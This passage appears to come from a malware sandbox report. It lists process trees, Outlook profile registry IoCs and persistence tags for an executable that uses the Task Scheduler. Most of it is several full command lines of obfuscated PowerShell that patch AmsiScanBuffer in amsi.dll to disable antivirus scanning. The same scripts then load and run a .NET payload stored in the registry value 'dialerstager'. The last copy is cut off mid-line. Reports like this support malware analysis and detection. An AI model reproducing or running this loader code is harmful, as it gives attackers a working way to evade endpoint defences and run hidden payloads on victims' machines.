PID 3928 wrote to memory of 1828	3928	cmd.exe	162
PID 3928 wrote to memory of 3076	3928	cmd.exe	163
PID 3928 wrote to memory of 5196	3928	cmd.exe	164

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:392
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{30f34279-afa7-4db9-b392-0372b273775b}
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4260
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{aeb6359b-cc9b-4f1f-9ff4-e63c2b23ee31}
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4468
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{bb993381-f519-4a45-bb11-57313df78b09}
  2⤵
  PID:5080
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{5856250b-c9d9-472f-8e11-c0976796d0d9}
  2⤵
  PID:2212

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:684

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-940995f1-1412-47e0-81ac-4b5ddb601df2 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-17fa6e2d-b57f-4262-a274-7f9467862ed4 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-b32c44c4-ed6f-4c39-9132-63dc4224ced3 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-991e2bbc-6e20-43d4-9a26-2ffddd88fa10 -LifetimeId:32f0ff49-8201-4105-b601-bd671218d1e7 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:876

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1048

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1172
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:nMQSRjXDlFSM{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$UrdTjxlCBLpfIP,[Parameter(Position=1)][Type]$xNuaBHbZtL)$eKZjggWELFz=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'ef'+[Char](108)+'e'+[Char](99)+''+[Char](116)+''+[Char](101)+''+'d'+'D'+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+'M'+''+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType('M'+'y'+''+[Char](68)+''+'e'+''+'l'+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+'eT'+[Char](121)+''+'p'+''+[Char](101)+'',''+[Char](67)+''+'l'+''+'a'+''+[Char](115)+''+'s'+''+','+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+'i'+[Char](99)+''+[Char](44)+'Se'+[Char](97)+''+[Char](108)+''+[Char](101)+''+'d'+','+'A'+''+[Char](110)+''+[Char](115)+''+'i'+''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+','+''+'A'+''+[Char](117)+'t'+'o'+'C'+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$eKZjggWELFz.DefineConstructor(''+'R'+''+[Char](84)+'S'+[Char](112)+''+'e'+''+[Char](99)+''+'i'+'a'+[Char](108)+''+'N'+'a'+'m'+''+[Char](101)+''+','+''+'H'+''+[Char](105)+''+'d'+''+[Char](101)+'B'+[Char](121)+''+[Char](83)+''+[Char](105)+'g,'+'P'+''+[Char](117)+''+[Char](98)+''+'l'+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$UrdTjxlCBLpfIP).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+'m'+''+[Char](101)+''+','+'Ma'+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');$eKZjggWELFz.DefineMethod(''+[Char](73)+''+'n'+'v'+[Char](111)+''+[Char](107)+''+'e'+'',''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c,'+'H'+''+[Char](105)+''+'d'+''+'e'+''+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+'g'+','+'N'+''+[Char](101)+''+[Char](119)+''+'S'+'l'+[Char](111)+''+'t'+','+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$xNuaBHbZtL,$UrdTjxlCBLpfIP).SetImplementationFlags('Ru'+'n'+''+'t'+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+'a'+'g'+'e'+[Char](100)+'');Write-Output $eKZjggWELFz.CreateType();}$ofKaSLkdKuJer=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+[Char](115)+''+[Char](116)+''+'e'+'m.'+[Char](100)+'ll')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'r'+[Char](111)+''+[Char](115)+'o'+'f'+'t'+'.'+''+'W'+''+'i'+''+'n'+''+[Char](51)+''+[Char](50)+'.'+'U'+'n'+'s'+''+[Char](97)+'f'+'e'+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+'i'+'v'+[Char](101)+''+'M'+''+[Char](101)+''+'t'+'h'+[Char](111)+'d'+[Char](115)+'');$mXuKYCjzJCnGHL=$ofKaSLkdKuJer.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](80)+''+[Char](114)+'o'+'c'+'A'+'d'+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+'b'+'l'+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$lEiUCxiuEyNoDPrcUgi=nMQSRjXDlFSM @([String])([IntPtr]);$TNvKWxtikaKUGsasCCyExP=nMQSRjXDlFSM @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$hmcseKnlnjV=$ofKaSLkdKuJer.GetMethod('Ge'+[Char](116)+''+[Char](77)+''+'o'+'d'+'u'+'l'+[Char](101)+''+[Char](72)+''+'a'+''+[Char](110)+''+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+'n'+'e'+'l'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$fenmoULZnkxfLJ=$mXuKYCjzJCnGHL.Invoke($Null,@([Object]$hmcseKnlnjV,[Object](''+[Char](76)+'o'+'a'+''+'d'+''+[Char](76)+'i'+'b'+'ra'+[Char](114)+''+[Char](121)+''+'A'+'')));$VQVfckxDYWwcyFsyN=$mXuKYCjzJCnGHL.Invoke($Null,@([Object]$hmcseKnlnjV,[Object](''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+'Pr'+[Char](111)+'t'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$MHFCmZi=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fenmoULZnkxfLJ,$lEiUCxiuEyNoDPrcUgi).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+'d'+[Char](108)+''+'l'+'');$WKakTATlunpHUviek=$mXuKYCjzJCnGHL.Invoke($Null,@([Object]$MHFCmZi,[Object](''+[Char](65)+'m'+'s'+'i'+'S'+''+'c'+''+'a'+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+'f'+'f'+[Char](101)+''+[Char](114)+'')));$WjCJdXLFpG=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VQVfckxDYWwcyFsyN,$TNvKWxtikaKUGsasCCyExP).Invoke($WKakTATlunpHUviek,[uint32]8,4,[ref]$WjCJdXLFpG);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$WKakTATlunpHUviek,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VQVfckxDYWwcyFsyN,$TNvKWxtikaKUGsasCCyExP).Invoke($WKakTATlunpHUviek,[uint32]8,0x20,[ref]$WjCJdXLFpG);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+''+[Char](84)+''+'W'+''+'A'+'R'+[Char](69)+'').GetValue(''+'d'+''+[Char](105)+'al'+[Char](101)+'r'+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1956
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:dhkRKOWEFJff{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$rZzLZVrGqyxRYD,[Parameter(Position=1)][Type]$AzmTPRxRQO)$BpPMFDnymRx=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+[Char](108)+''+'e'+''+'c'+'t'+'e'+'d'+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+''+[Char](101)+'m'+[Char](111)+''+'r'+''+'y'+''+[Char](77)+''+[Char](111)+'d'+[Char](117)+''+'l'+''+'e'+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+'l'+[Char](101)+'g'+'a'+'t'+'e'+''+[Char](84)+''+[Char](121)+'p'+'e'+'',''+'C'+''+'l'+''+'a'+'s'+[Char](115)+','+'P'+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c'+[Char](44)+'Se'+[Char](97)+'l'+'e'+''+[Char](100)+','+[Char](65)+''+[Char](110)+''+[Char](115)+'i'+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+[Char](65)+''+'u'+'t'+[Char](111)+''+[Char](67)+''+'l'+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$BpPMFDnymRx.DefineConstructor(''+[Char](82)+''+'T'+'S'+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+[Char](97)+''+[Char](108)+'Name'+[Char](44)+'H'+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+'Si'+[Char](103)+',P'+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$rZzLZVrGqyxRYD).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+','+'M'+''+'a'+''+'n'+''+'a'+'g'+[Char](101)+''+[Char](100)+'');$BpPMFDnymRx.DefineMethod('I'+'n'+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+'l'+'i'+''+'c'+''+','+''+[Char](72)+''+'i'+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+'Si'+[Char](103)+',Ne'+[Char](119)+''+'S'+'lo'+'t'+','+[Char](86)+''+[Char](105)+''+[Char](114)+'tu'+'a'+''+[Char](108)+'',$AzmTPRxRQO,$rZzLZVrGqyxRYD).SetImplementationFlags('Ru'+'n'+''+'t'+'i'+'m'+''+[Char](101)+''+','+'M'+[Char](97)+''+'n'+''+[Char](97)+''+'g'+''+[Char](101)+'d');Write-Output $BpPMFDnymRx.CreateType();}$hsHnENNYkoOFX=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+[Char](115)+''+[Char](116)+''+[Char](101)+''+'m'+''+[Char](46)+'dl'+[Char](108)+'')}).GetType(''+[Char](77)+'i'+[Char](99)+'r'+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+'t'+[Char](46)+''+[Char](87)+''+'i'+'n'+[Char](51)+''+[Char](50)+''+'.'+''+'U'+''+[Char](110)+''+'s'+'a'+'f'+''+[Char](101)+'N'+[Char](97)+'t'+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+'e'+[Char](116)+''+'h'+''+'o'+''+[Char](100)+''+[Char](115)+'');$uGlkRoWmtzahXx=$hsHnENNYkoOFX.GetMethod('G'+[Char](101)+'tP'+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+'d'+'r'+'es'+[Char](115)+'',[Reflection.BindingFlags]('Pub'+[Char](108)+''+'i'+'c'+','+''+[Char](83)+''+'t'+''+[Char](97)+''+'t'+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$WIdgcGpCaFCXqIgVbyR=dhkRKOWEFJff @([String])([IntPtr]);$xIyAvybTjdITULJdLPndZU=dhkRKOWEFJff @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$dbAlzjLVjTD=$hsHnENNYkoOFX.GetMethod(''+[Char](71)+''+'e'+''+'t'+'M'+[Char](111)+''+[Char](100)+''+'u'+''+'l'+''+'e'+''+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+'e'+''+[Char](114)+'ne'+[Char](108)+''+[Char](51)+'2'+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$cGTnhCJyYrCCtx=$uGlkRoWmtzahXx.Invoke($Null,@([Object]$dbAlzjLVjTD,[Object](''+'L'+''+'o'+''+'a'+''+[Char](100)+'L'+'i'+'b'+[Char](114)+''+[Char](97)+''+'r'+''+[Char](121)+''+[Char](65)+'')));$LPeqrArTwiRxGqapR=$uGlkRoWmtzahXx.Invoke($Null,@([Object]$dbAlzjLVjTD,[Object](''+'V'+'i'+[Char](114)+''+[Char](116)+''+'u'+''+'a'+'l'+[Char](80)+'rot'+[Char](101)+'c'+'t'+'')));$LhmVxtD=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($cGTnhCJyYrCCtx,$WIdgcGpCaFCXqIgVbyR).Invoke(''+[Char](97)+'m'+[Char](115)+'i'+'.'+'d'+[Char](108)+''+'l'+'');$ZnWxyRvtrSqzTnLvN=$uGlkRoWmtzahXx.Invoke($Null,@([Object]$LhmVxtD,[Object](''+[Char](65)+'ms'+[Char](105)+''+[Char](83)+''+'c'+''+[Char](97)+'nB'+[Char](117)+'f'+[Char](102)+''+'e'+''+'r'+'')));$yuosyZuGDl=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LPeqrArTwiRxGqapR,$xIyAvybTjdITULJdLPndZU).Invoke($ZnWxyRvtrSqzTnLvN,[uint32]8,4,[ref]$yuosyZuGDl);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ZnWxyRvtrSqzTnLvN,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LPeqrArTwiRxGqapR,$xIyAvybTjdITULJdLPndZU).Invoke($ZnWxyRvtrSqzTnLvN,[uint32]8,0x20,[ref]$yuosyZuGDl);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OF'+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](101)+''+[Char](114)+''+'s'+''+'t'+'a'+'g'+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:WQVROOoZRDdS{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$XiqwtRlmkfJvwd,[Parameter(Position=1)][Type]$pflBIjrxQh)$bttBQGvLhlS=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+[Char](102)+'l'+[Char](101)+''+[Char](99)+'t'+[Char](101)+'d'+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+'a'+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'Me'+[Char](109)+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+[Char](111)+''+'d'+''+'u'+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+[Char](97)+'t'+[Char](101)+'T'+[Char](121)+'pe',''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+'l'+'i'+''+'c'+','+[Char](83)+''+[Char](101)+'a'+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+'i'+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+[Char](115)+''+','+''+'A'+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+'l'+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$bttBQGvLhlS.DefineConstructor('R'+[Char](84)+'S'+'p'+''+'e'+'ci'+'a'+''+'l'+''+[Char](78)+''+'a'+''+[Char](109)+'e'+','+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$XiqwtRlmkfJvwd).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+'M'+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+'e'+''+[Char](100)+'');$bttBQGvLhlS.DefineMethod(''+[Char](73)+''+'n'+''+'v'+''+[Char](111)+''+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+'blic,'+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+[Char](121)+''+[Char](83)+'i'+'g'+''+[Char](44)+''+[Char](78)+'ewSl'+'o'+''+'t'+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+'ual',$pflBIjrxQh,$XiqwtRlmkfJvwd).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'im'+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+'ed');Write-Output $bttBQGvLhlS.CreateType();}$xrjDfdjAFDRkf=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+[Char](116)+'e'+'m'+''+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+'r'+'o'+'s'+''+'o'+''+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+'2'+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+'f'+''+'e'+''+[Char](78)+''+[Char](97)+''+'t'+''+'i'+''+'v'+''+[Char](101)+''+'M'+''+[Char](101)+''+[Char](116)+'h'+[Char](111)+''+'d'+''+[Char](115)+'');$CFnUhhICFMSvHH=$xrjDfdjAFDRkf.GetMethod('G'+'e'+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'c'+''+[Char](65)+'d'+'d'+''+'r'+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags]('P'+[Char](117)+'b'+[Char](108)+''+'i'+'c'+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+'t'+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$BkuRpmVGCLykPrUKCpd=WQVROOoZRDdS @([String])([IntPtr]);$KMosDEZfKPeJwwmDWdthqa=WQVROOoZRDdS @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$MOKlDawfMTE=$xrjDfdjAFDRkf.GetMethod(''+[Char](71)+'e'+'t'+'M'+[Char](111)+''+'d'+''+[Char](117)+'l'+[Char](101)+''+'H'+''+'a'+''+[Char](110)+''+'d'+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object]('k'+'e'+''+'r'+''+'n'+''+'e'+''+[Char](108)+''+'3'+''+[Char](50)+'.'+'d'+'l'+'l'+'')));$MGzJfRKKPyLuaS=$CFnUhhICFMSvHH.Invoke($Null,@([Object]$MOKlDawfMTE,[Object](''+'L'+''+[Char](111)+'a'+[Char](100)+''+'L'+''+'i'+''+'b'+''+[Char](114)+'a'+[Char](114)+''+[Char](121)+'A')));$FbODHQJOKzInbeGkX=$CFnUhhICFMSvHH.Invoke($Null,@([Object]$MOKlDawfMTE,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+'l'+[Char](80)+'ro'+'t'+'e'+[Char](99)+''+'t'+'')));$lhbxgfg=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MGzJfRKKPyLuaS,$BkuRpmVGCLykPrUKCpd).Invoke(''+[Char](97)+'m'+'s'+''+'i'+'.'+[Char](100)+''+'l'+''+'l'+'');$MZyKhWhXLXLDGOCED=$CFnUhhICFMSvHH.Invoke($Null,@([Object]$lhbxgfg,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+'a'+''+'n'+''+[Char](66)+'u'+'f'+''+[Char](102)+''+[Char](101)+'r')));$ypZvgFKpte=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FbODHQJOKzInbeGkX,$KMosDEZfKPeJwwmDWdthqa).Invoke($MZyKhWhXLXLDGOCED,[uint32]8,4,[ref]$ypZvgFKpte);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$MZyKhWhXLXLDGOCED,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FbODHQJOKzInbeGkX,$KMosDEZfKPeJwwmDWdthqa).Invoke($MZyKhWhXLXLDGOCED,[uint32]8,0x20,[ref]$ypZvgFKpte);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+'R'+''+'E'+'').GetValue(''+[Char](100)+'i'+[Char](97)+''+'l'+''+[Char](101)+''+'r'+''+[Char](115)+''+[Char](116)+''+'a'+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  PID:4796
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:sxIbYEkIryFL{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$nLBCqHgnPEvijz,[Parameter(Position=1)][Type]$unghmeWZhJ)$fkzwNqVNQha=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+[Char](102)+'l'+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+'M'+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+'M'+'od'+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+'y'+[Char](68)+''+'e'+''+'l'+''+'e'+''+'g'+''+'a'+''+'t'+''+[Char](101)+''+[Char](84)+''+'y'+''+'p'+''+[Char](101)+'','Cla'+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+','+[Char](83)+''+'e'+''+[Char](97)+''+'l'+''+'e'+''+[Char](100)+''+','+''+[Char](65)+'n'+[Char](115)+''+'i'+''+'C'+''+[Char](108)+'a'+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+'o'+''+[Char](67)+''+[Char](108)+'as'+[Char](115)+'',[MulticastDelegate]);$fkzwNqVNQha.DefineConstructor('RT'+[Char](83)+'p'+[Char](101)+''+'c'+''+'i'+''+'a'+'l'+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+'S'+'i'+'g'+','+''+'P'+'u'+[Char](98)+'l'+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$nLBCqHgnPEvijz).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+[Char](116)+'im'+[Char](101)+',M'+'a'+''+'n'+''+[Char](97)+'ge'+[Char](100)+'');$fkzwNqVNQha.DefineMethod(''+[Char](73)+'n'+[Char](118)+'o'+[Char](107)+'e',''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+'H'+'ide'+[Char](66)+'yS'+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+''+'e'+''+[Char](119)+''+[Char](83)+'l'+'o'+''+[Char](116)+','+[Char](86)+'ir'+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+'',$unghmeWZhJ,$nLBCqHgnPEvijz).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+'t'+'i'+[Char](109)+'e'+','+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+'g'+'e'+''+[Char](100)+'');Write-Output $fkzwNqVNQha.CreateType();}$YbVrFddmunilR=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 